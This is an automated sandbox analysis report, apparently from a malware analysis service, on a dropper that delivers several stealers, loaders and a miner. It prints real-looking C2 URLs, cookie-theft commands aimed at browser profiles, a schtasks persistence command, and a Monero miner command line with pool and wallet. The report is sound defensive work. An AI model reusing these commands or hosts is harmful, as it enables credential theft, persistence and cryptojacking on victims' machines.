fabookie | aa9b8b79b9b4e0478e85c4ae5b08c15aadea45cac7617de2c298070fd781748e

Analysis

max time kernel
32s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2023 04:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

281c7ba6787d047d9eff840c79c19816.exe
Size

4.0MB
MD5

281c7ba6787d047d9eff840c79c19816
SHA1

1b41a63ce815c055038824ecd67fb606a2210fc7
SHA256

aa9b8b79b9b4e0478e85c4ae5b08c15aadea45cac7617de2c298070fd781748e
SHA512

8ba03a346dc3246abd8af0768f20c71cf875de6554dfa961c17de373fe28f6252a3c263238760148a208d830e53fb399b8bafceaa2f678c94b891a08b517dfc4
SSDEEP

98304:JH4fPHwHNLfwCFx7zWBBWUhT0BRQf6608yFLBiMt/cwC:JYnQtz/WBcEIKVML1qwC

Malware Config

Extracted

Family

nullmixer

http://watira.xyz/

Extracted

Family

vidar

Version

39.9

Botnet

706

https://prophefliloc.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Botnet

pub5

Extracted

Family

smokeloader

Version

2020

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

OLKani

ataninamei.xyz:80

Signatures

Detect Fabookie payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0006000000023202-91.dat	family_fabookie
behavioral2/files/0x0006000000023202-103.dat	family_fabookie

Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie
NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/5108-263-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/5108-263-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Nirsoft 8 IoCs

resource	yara_rule
behavioral2/memory/4464-176-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/3936-185-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/924-219-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/4968-227-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/3500-255-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/2516-251-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/1088-276-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/3892-269-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft

Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral2/memory/3756-150-0x0000000000400000-0x0000000002CC3000-memory.dmp	family_vidar
behavioral2/memory/3756-154-0x0000000004960000-0x00000000049FD000-memory.dmp	family_vidar
behavioral2/memory/3756-155-0x0000000000400000-0x0000000002CC3000-memory.dmp	family_vidar
behavioral2/memory/3756-196-0x0000000000400000-0x0000000002CC3000-memory.dmp	family_vidar

ASPack v2.12-2.42 4 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x0006000000023208-44.dat	aspack_v212_v242
behavioral2/files/0x0006000000023204-51.dat	aspack_v212_v242
behavioral2/files/0x0006000000023206-58.dat	aspack_v212_v242
behavioral2/files/0x0006000000023203-53.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	281c7ba6787d047d9eff840c79c19816.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	sonia_1.exe

Executes dropped EXE 14 IoCs

pid	Process
2252	setup_installer.exe
2176	setup_install.exe
8	sonia_2.exe
4252	sonia_1.exe
3756	sonia_3.exe
4748	sonia_4.exe
1588	sonia_5.exe
4372	sonia_9.exe
4592	sonia_7.exe
4400	sonia_8.exe
1272	sonia_6.exe
2380	sonia_1.exe
4780	sonia_5.tmp
3420	chrome2.exe

Loads dropped DLL 7 IoCs

pid	Process
2176	setup_install.exe
2176	setup_install.exe
2176	setup_install.exe
2176	setup_install.exe
2176	setup_install.exe
2176	setup_install.exe
4780	sonia_5.tmp

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000002321e-167.dat	upx
behavioral2/memory/4464-176-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/files/0x000600000002321e-180.dat	upx
behavioral2/memory/3936-185-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/924-219-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/4968-227-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/3500-255-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/2516-251-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/1088-276-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/3892-269-0x0000000000400000-0x000000000045B000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	ip-api.com
39	ipinfo.io
40	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2288	2176	WerFault.exe	92
5032	3756	WerFault.exe	104

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5060	schtasks.exe
4612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
8	sonia_2.exe
8	sonia_2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1412 wrote to memory of 2252	1412	281c7ba6787d047d9eff840c79c19816.exe	91
PID 1412 wrote to memory of 2252	1412	281c7ba6787d047d9eff840c79c19816.exe	91
PID 1412 wrote to memory of 2252	1412	281c7ba6787d047d9eff840c79c19816.exe	91
PID 2252 wrote to memory of 2176	2252	setup_installer.exe	92
PID 2252 wrote to memory of 2176	2252	setup_installer.exe	92
PID 2252 wrote to memory of 2176	2252	setup_installer.exe	92
PID 2176 wrote to memory of 1636	2176	setup_install.exe	117
PID 2176 wrote to memory of 1636	2176	setup_install.exe	117
PID 2176 wrote to memory of 1636	2176	setup_install.exe	117
PID 2176 wrote to memory of 3416	2176	setup_install.exe	115
PID 2176 wrote to memory of 3416	2176	setup_install.exe	115
PID 2176 wrote to memory of 3416	2176	setup_install.exe	115
PID 2176 wrote to memory of 2668	2176	setup_install.exe	114
PID 2176 wrote to memory of 2668	2176	setup_install.exe	114
PID 2176 wrote to memory of 2668	2176	setup_install.exe	114
PID 2176 wrote to memory of 2080	2176	setup_install.exe	113
PID 2176 wrote to memory of 2080	2176	setup_install.exe	113
PID 2176 wrote to memory of 2080	2176	setup_install.exe	113
PID 2176 wrote to memory of 3868	2176	setup_install.exe	112
PID 2176 wrote to memory of 3868	2176	setup_install.exe	112
PID 2176 wrote to memory of 3868	2176	setup_install.exe	112
PID 2176 wrote to memory of 1504	2176	setup_install.exe	110
PID 2176 wrote to memory of 1504	2176	setup_install.exe	110
PID 2176 wrote to memory of 1504	2176	setup_install.exe	110
PID 2176 wrote to memory of 552	2176	setup_install.exe	109
PID 2176 wrote to memory of 552	2176	setup_install.exe	109
PID 2176 wrote to memory of 552	2176	setup_install.exe	109
PID 2176 wrote to memory of 4608	2176	setup_install.exe	97
PID 2176 wrote to memory of 4608	2176	setup_install.exe	97
PID 2176 wrote to memory of 4608	2176	setup_install.exe	97
PID 2176 wrote to memory of 4704	2176	setup_install.exe	96
PID 2176 wrote to memory of 4704	2176	setup_install.exe	96
PID 2176 wrote to memory of 4704	2176	setup_install.exe	96
PID 3416 wrote to memory of 8	3416	cmd.exe	107
PID 3416 wrote to memory of 8	3416	cmd.exe	107
PID 3416 wrote to memory of 8	3416	cmd.exe	107
PID 1636 wrote to memory of 4252	1636	cmd.exe	106
PID 1636 wrote to memory of 4252	1636	cmd.exe	106
PID 1636 wrote to memory of 4252	1636	cmd.exe	106
PID 2668 wrote to memory of 3756	2668	cmd.exe	104
PID 2668 wrote to memory of 3756	2668	cmd.exe	104
PID 2668 wrote to memory of 3756	2668	cmd.exe	104
PID 2080 wrote to memory of 4748	2080	cmd.exe	105
PID 2080 wrote to memory of 4748	2080	cmd.exe	105
PID 2080 wrote to memory of 4748	2080	cmd.exe	105
PID 3868 wrote to memory of 1588	3868	cmd.exe	103
PID 3868 wrote to memory of 1588	3868	cmd.exe	103
PID 3868 wrote to memory of 1588	3868	cmd.exe	103
PID 4704 wrote to memory of 4372	4704	cmd.exe	98
PID 4704 wrote to memory of 4372	4704	cmd.exe	98
PID 4704 wrote to memory of 4372	4704	cmd.exe	98
PID 552 wrote to memory of 4592	552	cmd.exe	99
PID 552 wrote to memory of 4592	552	cmd.exe	99
PID 552 wrote to memory of 4592	552	cmd.exe	99
PID 4608 wrote to memory of 4400	4608	cmd.exe	100
PID 4608 wrote to memory of 4400	4608	cmd.exe	100
PID 4608 wrote to memory of 4400	4608	cmd.exe	100
PID 1504 wrote to memory of 1272	1504	cmd.exe	101
PID 1504 wrote to memory of 1272	1504	cmd.exe	101
PID 4252 wrote to memory of 2380	4252	sonia_1.exe	108
PID 4252 wrote to memory of 2380	4252	sonia_1.exe	108
PID 4252 wrote to memory of 2380	4252	sonia_1.exe	108
PID 1588 wrote to memory of 4780	1588	sonia_5.exe	120
PID 1588 wrote to memory of 4780	1588	sonia_5.exe	120

C:\Users\Admin\AppData\Local\Temp\281c7ba6787d047d9eff840c79c19816.exe
"C:\Users\Admin\AppData\Local\Temp\281c7ba6787d047d9eff840c79c19816.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1412
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_9.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4704
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_9.exe
        
        sonia_9.exe
        5⤵
        Executes dropped EXE
        
        PID:4372
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:4464
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /DeleteCookiesWildcard "*.facebook.com"
        6⤵
        
        PID:3936
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:924
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        6⤵
        
        PID:4968
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:2516
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        6⤵
        
        PID:3500
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:3892
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
        6⤵
        
        PID:1088
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4608
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_8.exe
        
        sonia_8.exe
        5⤵
        Executes dropped EXE
        
        PID:4400
      - C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_8.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_8.exe
        6⤵
        
        PID:5108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_7.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:552
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_4.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_3.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2668
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_2.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3416
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sonia_1.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1636
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2176 -s 560
      4⤵
      Program crash
      PID:2288

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_7.exe
sonia_7.exe
1⤵
- Executes dropped EXE
PID:4592

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_6.exe
sonia_6.exe
1⤵
- Executes dropped EXE
PID:1272

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_5.exe
sonia_5.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Users\Admin\AppData\Local\Temp\is-QVQSG.tmp\sonia_5.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-QVQSG.tmp\sonia_5.tmp" /SL5="$8002E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_5.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4780

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_3.exe
sonia_3.exe
1⤵
- Executes dropped EXE
PID:3756
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3756 -s 1584
  2⤵
  - Program crash
  PID:5032

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_4.exe
sonia_4.exe
1⤵
- Executes dropped EXE
PID:4748
- C:\Users\Admin\AppData\Local\Temp\chrome2.exe
  "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
  2⤵
  - Executes dropped EXE
  PID:3420
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    PID:3664
- - C:\Users\Admin\AppData\Roaming\services64.exe
    "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    PID:3468
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:2504
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:4612
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      4⤵
      PID:4964
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.main/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BJ+edII5Fll530cZ/+msGEWovb73nU3RrOnuNmRoFcg" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
      4⤵
      PID:2676
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  PID:4764
- - C:\Windows\winnetdriv.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe" 1704172546 0
    3⤵
    PID:4484

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.exe
sonia_1.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.exe" -a
  2⤵
  - Executes dropped EXE
  PID:2380

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_2.exe
sonia_2.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:8

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2176 -ip 2176
1⤵
PID:2052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3756 -ip 3756
1⤵
PID:4748

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
1⤵
- Creates scheduled task(s)
PID:5060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libcurl.dll

Filesize
218KB

MD5
d09be1f47fd6b827c81a4812b4f7296f

SHA1
028ae3596c0790e6d7f9f2f3c8e9591527d267f7

SHA256
0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e

SHA512
857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libcurlpp.dll

Filesize
54KB

MD5
e6e578373c2e416289a8da55f1dc5e8e

SHA1
b601a229b66ec3d19c2369b36216c6f6eb1c063e

SHA256
43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f

SHA512
9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libgcc_s_dw2-1.dll

Filesize
113KB

MD5
9aec524b616618b0d3d00b27b6f51da1

SHA1
64264300801a353db324d11738ffed876550e1d3

SHA256
59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

SHA512
0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libgcc_s_dw2-1.dll

Filesize
42KB

MD5
8cc9060d4fc1d5eef98249f47d39c746

SHA1
4777821114af24861c3095eb3ac9c89b70ca8b38

SHA256
bf973bee3d88590702e079641505072223eec169aed8117328ba7e75c496c8ab

SHA512
f26d012695eec4225aea2eb7affd73008faf2b02c11c18c678b79d593ae578000e3317b054768a4777e6ca982edfb806772675e198b0bc4d8d3c2c8420caa2c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libstdc++-6.dll

Filesize
647KB

MD5
5e279950775baae5fea04d2cc4526bcc

SHA1
8aef1e10031c3629512c43dd8b0b5d9060878453

SHA256
97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87

SHA512
666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\libwinpthread-1.dll

Filesize
69KB

MD5
1e0d62c34ff2e649ebc5c372065732ee

SHA1
fcfaa36ba456159b26140a43e80fbd7e9d9af2de

SHA256
509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723

SHA512
3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\setup_install.exe

Filesize
287KB

MD5
7a82c73b9a1b6bf3d2aefe2f3740a564

SHA1
1debd41cb9589c9ebc50b0e370d6d8da565be370

SHA256
35a72b874265e4109dd7d94a37c4417b8fb71a158c4ad10100ef112480b4a8bf

SHA512
61c110e3f12b31fb429afc2fc5b074ab6d4665a8e1b716660bc3f4ef8360ab4187d6137b553430e104998307a849ac9a5db206a2ac20665e890e9bb4c88d6787

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_1.txt

Filesize
56KB

MD5
c0d18a829910babf695b4fdaea21a047

SHA1
236a19746fe1a1063ebe077c8a0553566f92ef0f

SHA256
78958d664b1c140f2b45e56c4706108eeb5f14756977e2efd3409f8a788d3c98

SHA512
cca06a032d8232c0046c6160f47b8792370745b47885c2fa75308abc3df76dcc5965858b004c1aad05b8cd8fbb9a359077be1b97ec087a05d740145030675823

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_2.exe

Filesize
57KB

MD5
b61e7c8808a6aeff45299b2524cb1a95

SHA1
6595885d9cac2764bb57f1cbaff23ee9e35d1f74

SHA256
bef345787002b93d2b863e7e338e2f462afe7990e7b0ba6bf5effaf30b829be7

SHA512
92a710b42738b07bd9342072966acbb602b8c19ebf744d7274ba8f08e3b8a185b48094485c4bb4ec1e23cbec84634368a5d000f4c045cf4a37a3c359a391f119

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_2.txt

Filesize
178KB

MD5
df63a9bc141064c6115fcc889abf3b8c

SHA1
040d6ed844e41647fbc0ee0ad5db14bb94b50131

SHA256
c9f36e88dac9aa0c0653df695e3e50a123fb0dd63692312d5cacbf5479530446

SHA512
3270ce7f1d4da1b4e88264b439f82bd1e95e3ef1549b90edcfdc6fadd50bb12bda8fcbb0144f5902b2339f8834d3b9b0686591708cbd655d40dd093c2976a815

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_3.exe

Filesize
560KB

MD5
d5150e7c78eac749b00f0c0d803914f4

SHA1
ff00396e2d2c029738453ec66bf63a8d39512c83

SHA256
61e83ca939ee966f83663418b9bc88987370f25ee5f1897c4928507be5c54332

SHA512
8d891f3986952ec0a065287f36ef6ae4366e09501c587b45f993c6353111e1d326431d586e3aed5e6f843a627b635bd460c31efd4ce801a82d675c52bf6d5e60

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_3.txt

Filesize
211KB

MD5
2196970ef6c6bd1d8c78a3016965c145

SHA1
17cb07e0ee5ee82f7fe4820bd3422cc9c4eeb487

SHA256
236cf5afe5c36318a696b3a72f12e5e6559ceed1faf08eecf8542e8077b6c94c

SHA512
fceee96e27bb4337d7f89f3e439bde62b251501966549384a4fa9bda5ae1f852558bed76b5d0dcca454ad2499ab26c78001794653209b900fca1c2f69df0b927

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_4.exe

Filesize
28KB

MD5
6256324adebccae067063ec64619ec01

SHA1
15f5c6590e0295f9f6f54a1bfc3988c17b1345d0

SHA256
6f7a65da9fb30461ba43208e499f34b360881563eb339af38dc67a2d47017c4e

SHA512
9c7832468dc6dc9e6f986258ade1d621d512ac69847f22c08822d5ba21d46b44f6e9bce976c32116331b704216a9584def2fa4ce662a4899e9d4b5d826157958

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_4.txt

Filesize
289KB

MD5
ada981fe0dabe48e105f5314cfd34a4e

SHA1
d4d04f50c57e7b296ec7e2548bf3359a5af9c209

SHA256
c75e7758abf7f8d9988df114ff6c8d30028a4c3e18a3b1113f892781b657a85d

SHA512
aec0dc9e9ecad1121bef197ec0a66ba17dda17bf78d9e6d44ef20efe436dd39b5069538dcb3eef7c4f963594bd2d6949d359dfb371042111e26b6a7910931b05

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_5.exe

Filesize
76KB

MD5
761ce037cbee9dd5ab4618525988496c

SHA1
a52d2865df04c93e1d31c382073eb7fb323ab998

SHA256
9545fad741b79a7e1237d7e4ebc4f783de408bbbdacb61eec50f921f28bdb7b9

SHA512
fb82f5cabcaf353ac5d11e29f7c85aea77aba3fd9357546e8d249f0f7df76ae24d718a4035a864ed8fbf6d573f3557b407d701c1e2997c7bf73953ef4dd02143

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_5.txt

Filesize
205KB

MD5
e067b0b74aff3609d8f71ff7375f25d7

SHA1
8857195018560d431a0f7ad1f8fac1a059e3a38e

SHA256
b3e2deaa9fdeac58349018c5415efb53c7b3397ceef77bf0d83ada5a627c8f11

SHA512
1afdb77379ffceb07c4906a2ab22da6ec6c0b1dd908b7b45f18deb736aa92cb5d8ec706f252a62a064bae70746260239c30f7a460413fe730d25db5b77465bc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSCC8D7657\sonia_6.exe

Filesize
26KB

MD5
222d4200d6c2b73ff813c472574fa8a8
